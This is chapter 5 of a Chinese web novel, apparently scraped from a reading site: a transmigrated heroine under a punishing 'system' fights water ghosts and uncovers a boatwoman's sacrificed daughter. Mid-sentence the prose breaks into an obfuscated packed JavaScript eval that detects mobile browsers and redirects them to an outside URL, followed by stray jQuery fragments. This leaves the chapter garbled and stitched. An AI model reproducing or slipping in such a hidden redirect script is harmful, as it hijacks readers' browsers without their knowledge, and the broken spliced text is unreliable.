5. 第 5 章

作品:《今天和男二斗嘴了吗

    连翘是被肩头的刺痛惊醒的。


    她睁开眼,发现自己躺在一张简陋的木床上,身下垫着粗糙的渔网,被褥上还残留着鱼腥气。屋子很小,墙角堆着修补渔网的梭子和麻绳,窗边木桌上摆着几个缺口的陶碗,一盏油灯幽幽燃着,火光在潮湿的墙壁上投下摇晃的影子。


    "醒了?"谢无咎的声音从门口传来。


    连翘转头,看见少年倚在门框边,右肩缠着厚厚的绷带,脸色苍白得近乎透明,却仍挂着那副似笑非笑的表情。


    "你晕了半个多时辰,"他慢悠悠道,"师兄和叶姐姐在隔壁和船夫说话。"


    连翘撑着身子坐起来,肩上的伤处立刻传来一阵尖锐的疼痛,她倒抽一口凉气,下意识按住肩膀。


    谢无咎见状,眉梢微挑:"疼?"


    "废话!"连翘瞪他,"你试试被捅个对穿?"


    谢无咎轻笑一声,走到床边,居高临下地看着她:"我确实试过了。"他指了指自己肩上的伤,"而且,是你非要种共生蛊的。"


    连翘正要反驳,忽然瞥见墙上挂着的一块素白手绢——手绢边缘绣着一朵歪歪扭扭的荷花,针脚粗糙,和青铜鼎旁那只绣花鞋上的图案一模一样。


    她心头一跳,刚要开口,外间传来叶望舒温和的声音:"姑娘醒了?"


    谢凛和叶望舒一前一后走进来,身后跟着那个佝偻着背的老船夫。船夫低着头,手里捧着一碗热腾腾的鱼汤,热气模糊了她的面容。


    "喝点汤吧,"叶望舒接过碗递给连翘,"芸娘特意煮的。"


    连翘接过碗,目光却一直盯着船夫。老妇人察觉到她的视线,浑浊的眼睛闪了闪,干裂的嘴唇蠕动了一下,似乎想说什么,最终却只是沉默地退到一旁。


    连翘的视线再次落在那块绣着荷花的手绢上。


    "芸娘,"她突然开口,"这手绢上的荷花,是您绣的吗?"


    老船夫的身体猛地一颤,她抬起头,眼里闪过一丝慌乱,又很快低下头去,声音沙哑:"是、是老身年轻时绣的……"


    连翘盯着她。


    "和我在湖底见到的那只绣花鞋上的荷花,一模一样。"


    屋内瞬间安静下来。


    谢凛的剑无声出鞘三寸,叶望舒的金丝在袖中微微颤动。谢无咎仍靠在门边,脸上笑意不减,眼神却冷了下来。


    老船夫的手开始发抖,她突然跪倒在地,膝盖砸出咚得一声。


    "阿囡……",她干枯的手指抓住连翘的裙角,眼泪大颗大颗地砸在地上,"我、我只是想再看看她……"


    连翘看着这个痛哭流涕的老人,忽然明白了什么。


    "那只绣花鞋……是你女儿的,对吗?"她轻声道,"你把她献祭给了沧溟。"


    船夫芸娘的身体剧烈颤抖起来,她抬起头,浑浊的眼里满是绝望和疯狂:"不、不是我!我也不想的!可、可沧溟大人选中了她……如果我不献祭她,整个村子都会……"


    【警告!宿主OOC程度超标!】


    【检测到连续48小时未对原著男主谢凛表达爱慕】


    【惩罚机制启动:痛感增幅300%】


    连翘肩头的伤口突然炸开撕裂般的剧痛,疼得她眼前发黑,船夫的呜咽淹没在系统的警报声里。


    “前两天不是刚调戏过谢凛吗?”


    她在意识里怒吼。


    【宿主昏迷期间计时未暂停】


    【剩余惩罚时间:28分钟】


    像是觉得眼下的情形还不够乱似的,屋外突然传来"咚"的一声闷响,像是有什么重物砸在了门上。紧接着,第二声、第三声……


    谢无咎的脸色变了:"雨童。"


    老船夫的脸上浮现出诡异的笑容:"来不及了……"她喃喃道,"阿囡、阿囡……我要让她把你们都吃了……”


    木门在剧烈的撞击下开始变形,裂缝中渗出墨绿色的湖水。连翘肩上伤口灼烧般的疼痛愈演愈烈——透过窗户,她看到数十只惨白的小手正扒在门上。


    “嘶——”门被撞开的瞬间,连翘一个箭步——躲到了谢凛背后。


    “兄弟,你美救英雄的时候到了。”她面色苍白地冲谢凛眨眨眼,“你就放开打吧,虽然我不抽烟不喝酒没有不良嗜好,将来成亲后一定不会家暴你,但我觉得白幼瘦的审美确实畸形,所以不介意男人比我强一点。”


    谢凛茫然地回头看他,像是一个过载的显示器加载半天弹出了404的提示,他干巴巴道:


    “现在不是开玩笑的时候。”


    “谁开玩笑了?”连翘捂住肩膀,一脸痛心疾首,“不想爬上老板床的保镖不是好男人。我花那么多灵石雇你们,结果连挑个帅哥来VIP保护的服务都没有?这合理吗?”


    雨童利爪破空而来的声响救了谢凛。他腰侧的山河剑出鞘,凌然的剑气险些掀翻这座破旧小屋的天花板,数十只惨白的小手在墨绿色的长发间乱舞,乍一看就像是什么抽象的艺术画。


    媚眼抛了,鼓励给到了,甚至还抛出了以后会成亲的设想,连翘肩头的伤口终于好受了一点,在混乱的战场上努力把自己缩成一团降低存在感。


    【我还是觉得你这不叫表达爱慕】


    【这明明就是骚扰】


    系统道。


    "那你觉得在楼下摆蜡烛、捧玫瑰、用大喇叭喊话算表达爱慕吗?叫上所有共同好友起哄造势算表达爱慕吗?"连翘在意识里慢条斯理地反问,“把死缠烂打当深情,把没有边界感当体贴,还美其名曰''真爱就要勇敢''。”


    她总结:“男人这种生物,绝大多数本来就分不清爱慕与骚扰的区别。”


    谢凛的剑气有些收敛,叶望舒的金丝缠住三只雨童。


    屋子很狭小,水汽无孔不入,而男女主角是传统意义上的好人,即使芸娘要杀他们,他们也想留她个活口。这极大地限制了他们的行动速度,在与雨童的纠缠中束手束脚。


    连翘在心中判断了一下局面,余光瞥见一只特殊的雨童——它脖子上挂着褪色的长命锁,正歪头看着芸娘。


    "等等,那个孩子……"连翘不自觉地向前探身。


    【宿主!危险!】


    她刚踏出谢凛的防护范围,一只雨童就扑了过来。竹青色身影闪过,谢无咎一把将她拽回怀里。利爪擦着她脸颊划过,在少年手臂上留下几道血痕。


    "嘶——"连翘胳膊上顿时传来同样的刺痛,但与刚才的程度完全不能相提并论。她抬头对上谢无咎阴沉的脸色,突然笑了:"虽然还是你师兄更对胃口……"<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375247|168305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她伸手抚上谢无咎渗血的伤口,指尖暧昧地打着圈:"不过战损版的你也是秀色可餐,姐姐等下会疼你的。"


    谢无咎的瞳孔猛地收缩。他扣住连翘作乱的手腕,温热的胸膛贴着她的后背,呼吸喷在她耳畔:"大小姐,找死?"


    "怎么会呢~"连翘趁机转头贴近他耳边,伪装狐狸精吐气如兰,"我可是很惜命的。"


    谢无咎忍无可忍地拎着她的领子把她摁到了自己身后。


    连翘踮着脚尖,从他身后探出半个脑袋对雨童们指指点点,"你那个火呢?烧起来!"


    谢无咎:"……"


    活了十余年,他第一次在一个人身上发现狐假虎威这个词居然可以这么活灵活现。


    一只雨童猛地扑来,惨白的小手直掏心口。谢无咎剑指一划,幽蓝火焰将雨童逼退,转头对连翘凉凉道:"大小姐不是有很多法宝吗?"


    连翘理直气壮:"本小姐的符很贵的!能随便用吗?"说着又往他背后缩了缩,"而且你受伤我也疼,四舍五入就是你欠我的!"


    她瞥见谢无咎甩出的那一招残余的火星将那只戴长命锁的雨童头发烧着了一些,而不远处的芸娘突然有了一个疑似要起身的动作。


    于是掰过谢无咎的脑袋,正色道:"看那边。"


    谢无咎是正统修士出身,眼力自然比连翘要好得多,一眼就看到那只雨童脖颈上挂着的褪色长命锁上歪歪扭扭刻着"阿囡"二字。


    "师兄,你看这个。"他语气轻快地招呼道,手上动作却极快,指尖的幽蓝火焰骤然暴涨,一个闪身就挡在了那只特殊雨童面前。银铃在他指间轻转,发出清脆的声响。


    芸娘的动作猛地僵住,浑浊的眼睛死死盯着雨童脖子上的长命锁。


    "有意思。"谢无咎歪着头打量雨童脖颈上锈迹斑斑的银锁,脸上带着惯常的明朗笑意,手上的银铃却不动声色地缠住了雨童的脖颈,"婆婆,这是你女儿的东西吧?"


    老船夫的嘴唇剧烈颤抖起来:"不…不要……"


    "别紧张嘛。"谢无咎笑眯眯地说,手上银铃却微微收紧,"我们只是想帮——"


    "住手!"芸娘突然尖叫着扑来。


    谢凛的剑光一闪,及时拦住她的去路。叶望舒的金丝也同时飞出,将剩余几个躁动的雨童束缚住。


    "哎呀,婆婆别激动。"谢无咎状似无奈地摇头,手上的银铃却始终没有松开,"看来这位''阿囡''小姐,比我们想象的要重要得多啊。"


    连翘慢悠悠地走过来,在带着长命锁的雨童身前蹲下,啧啧称奇:"哇哦,这就是传说中的''你女儿在我手上''的经典桥段吗?"


    她戳了戳雨童惨白的脸蛋,讶异道。


    "话说回来,这手感还挺……凉快的?"


    谢无咎斜睨她一眼:"你要是一直在湖水里泡着一定比她温度还低,有兴趣试试吗?"


    "免了免了。"


    连翘连连摆手。


    "我肉体凡胎的,恐怕会先被鱼啃成骨架,再被海水腐蚀成渣渣,最后变成海底的一撮钙质沉积物——科学上管这叫''海洋白骨化进程'',比成为小水鬼跌宕起伏多了。"


    她转向芸娘,眨眨眼,"婆婆,现在可以好好说话了吗?"